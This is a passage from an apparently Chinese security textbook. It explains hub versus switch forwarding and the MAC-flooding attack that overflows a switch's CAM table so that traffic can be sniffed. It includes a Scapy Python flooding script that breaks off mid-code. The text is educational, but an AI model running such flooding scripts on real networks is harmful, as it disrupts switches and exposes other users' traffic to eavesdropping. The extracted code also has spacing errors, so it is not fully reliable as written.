图9-14    集线器应用原理

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服 务攻击的主要目标为二层交换机。在早期网络中，通常都会使用集线器作为中间 处理设备。集线器属于纯硬件网络底层设备，没有任何“ 智能记忆” 能力和“学

习” 能力，也不具备交换机所具有的MAC地址表，所以集线器发送数据时都是没 有针对性的，而是采用广播的方式发送。也就是说当集线器要向某节点发送数据 时，不是直接把数据发送到目的节点，而是把数据包发送到与集线器相连的所有 节点，如图9-14所示。

当计算机1想要和计算机2通信时，首先计算机1将数据包发给集线器，由集  线器负责转发，但是当集线器不清楚哪个接口连接到了计算机2时，便会用广播  的方式向其他计算机发送数据包，此时如果网络中计算机设置为混杂模式，同样 也会接收到计算机2发送的数据。

交换机相比集线器而言，增加了“ 智能记忆” 能力和“学习” 能力，这两个功能  主要是通过交换机中的CAM表来实现的，这张表中保存了交换机中的每个接口所 连接计算机的MAC地址。

图9-15    交换机应用原理

在应用交换机的局域网环境中，如图9-15所示，计算机1想要和计算机3通

信，会先将数据包发送到交换机上，由交换机提取接收到数据包的MAC地址，并 查询CAM表。如果在CAM表中检索到了对应的MAC地址信息，就将数据包发送  到查询到的MAC地址所对应的接口。如果没有查询到，再将数据包发往所有接口 相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播 形式传送的。但是CAM表是有一定限制的，在短时间内收到大量不同的源MAC    地址数据包时，CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据 包就会覆盖前面的条目，导致正常的数据包无法找到正确的对应关系，只能将数 据包广播出去，路由器的“ 智能记忆” 能力和“学习” 能力失效。此时攻击者只需要  在自己的计算机上将网卡设置为混杂模式，就能监听整个网络的数据。

综上所述，数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地 址信息，使得交换机内部CAM短时间填满，失去交换机本身的记忆功能，退化成

集线器，当接收到正常数据包时，会将全部数据以广播的形式发送出去，此时若 攻击者将自己的主机设置为混杂模式，就可以监听网络中的其他主机接收的数据 了。下面通过Python脚本分析这一功能。

1）构造随机的MAC地址和IP ，此处主要是利用Scapy自带的库函数 RandMAC（） 和RandIP（） ，如下代码是生成随机的MAC地址：

from scapy .all import * import time while(1) : packet=Ether(src=RandMAC(),dst=RandMAC()) time .sleep(1) print(packet.summary())

执行结果如下所示：

2）当路由器接收到包含随机生成的IP地址和MAC地址的数据包时，交换机 查询CAM ，若不存在该信息，就会不断进行记录。短时间内，大量请求会导致 CAM被填满，失去交换机原有的功能。下面以ICMP数据包为例：

from scapy .all import *

import optparse

def attack(interface) :

pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=Rand IP(),dst=Rand IP())/ ICMP()

sendp(pkt,iface=interface)

def main() :

parser=optparse .OptionParser("%prog "+"-i interface")

parser .add_option( '-i ',dest= 'interface ',default= 'eth0 ',type= 'string ', help= 'Interface ')

(options,args)=parser .parse_args()

interface=options .interface